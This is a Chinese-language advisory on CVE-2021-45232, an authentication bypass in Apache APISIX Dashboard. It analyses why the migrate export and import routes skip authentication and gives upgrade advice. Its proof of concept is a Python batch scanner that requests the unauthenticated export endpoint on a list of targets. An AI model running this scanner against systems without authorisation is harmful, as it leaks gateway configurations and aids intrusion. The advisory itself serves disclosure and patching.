天天看點

漏洞預警:CVE-2021-45232 Apache APISIX Dashboard 未授權通路(附批量掃描POC)Part1 漏洞描述Part2 風險等級Part3 漏洞影響Part4 漏洞分析Part5 修複建議

目錄

Part1 漏洞描述

Part2 風險等級

Part3 漏洞影響

Part4 漏洞分析

4.1 漏洞源碼

4.2 漏洞驗證

4.3 POC

Part5 修複建議

Part1 漏洞描述

Apache APISIX 是一個動态、實時、高性能的 API 網關,Apache APISIX Dashboard 使使用者可通過前端界面操作 Apache APISIX。

在2.10.1之前的Apache APISIX Dashboard中,Manager API使用了兩個架構

gin

droplet

,并在

gin

架構的基礎上引入了

droplet

架構。所有的API和鑒權中間件都是基于droplet架構開發的,但是有些API直接使用了 架構

gin

的接口進而繞過身份驗證。漏洞編号為CVE-2021-45232.

Part2 風險等級

高風險

Part3 漏洞影響

  • Apache APISIX Dashboard < 2.10.1

Part4 漏洞分析

4.1 漏洞源碼

本文以2.8版本為例

  • 下載下傳連結:

https://github.com/apache/apisix-dashboard/tree/release/2.8

首先在

apisix-dashboard-release-2.8/api/internal/filter/authentication.go

中定義了使用者通過URL通路以

/apisix

開頭的接口時,使用HTTP Header中的

Authorization

進行權限認證。還定義了兩個例外

/apisix/admin/tool/version

/apisix/admin/user/login

不需要進行權限認證認證。

漏洞預警:CVE-2021-45232 Apache APISIX Dashboard 未授權通路(附批量掃描POC)Part1 漏洞描述Part2 風險等級Part3 漏洞影響Part4 漏洞分析Part5 修複建議

然後在

apisix-dashboard-release-2.8/api/internal/route.go

中注冊了一些

handler

漏洞預警:CVE-2021-45232 Apache APISIX Dashboard 未授權通路(附批量掃描POC)Part1 漏洞描述Part2 風險等級Part3 漏洞影響Part4 漏洞分析Part5 修複建議

在正常情況下利用

droplet

對URL進行鑒權處理,與

authentication.go

中的

handle

對應,比如

ssl

漏洞預警:CVE-2021-45232 Apache APISIX Dashboard 未授權通路(附批量掃描POC)Part1 漏洞描述Part2 風險等級Part3 漏洞影響Part4 漏洞分析Part5 修複建議

apisix-dashboard-release-2.8/api/internal/handler/migrate/migrate.go

中發現有兩個接口

/apisix/admin/migrate/export

/apisix/admin/migrate/import

沒有經過

droplet

進行處理,存在認證繞過。

漏洞預警:CVE-2021-45232 Apache APISIX Dashboard 未授權通路(附批量掃描POC)Part1 漏洞描述Part2 風險等級Part3 漏洞影響Part4 漏洞分析Part5 修複建議

4.2 漏洞驗證

漏洞預警:CVE-2021-45232 Apache APISIX Dashboard 未授權通路(附批量掃描POC)Part1 漏洞描述Part2 風險等級Part3 漏洞影響Part4 漏洞分析Part5 修複建議

4.3 POC

import requests
import sys

filename = sys.argv[1]
print(filename)
target = open(filename, 'r')
f = open('result.txt', 'w')
target_list = target.readlines()
for url in target_list:
    url = url.strip()
    payload = url + '/apisix/admin/migrate/export'
    try:
        rsp = requests.get(url=payload, verify=False, timeout=2)
    except:
        print('%s驗證失敗!'%url)
        continue
    else:
        rsp_s = rsp.text
        if "Counsumers" in rsp_s:
            print("%s存在漏洞!" % url)
            f.writelines(url + '存在漏洞!\n')
        else:
            print("%s不存在漏洞!" % url)
f.close()
target.close()
           

Part5 修複建議

官方已釋出漏洞更新檔及修複版本,請評估業務是否受影響後,酌情更新至安全版本,并同時注意修改預設賬戶的賬号密碼;或可使用安全組等措施。

“D&X 安全實驗室”

專注滲透測試技術

全球最新網絡攻擊技術

漏洞預警:CVE-2021-45232 Apache APISIX Dashboard 未授權通路(附批量掃描POC)Part1 漏洞描述Part2 風險等級Part3 漏洞影響Part4 漏洞分析Part5 修複建議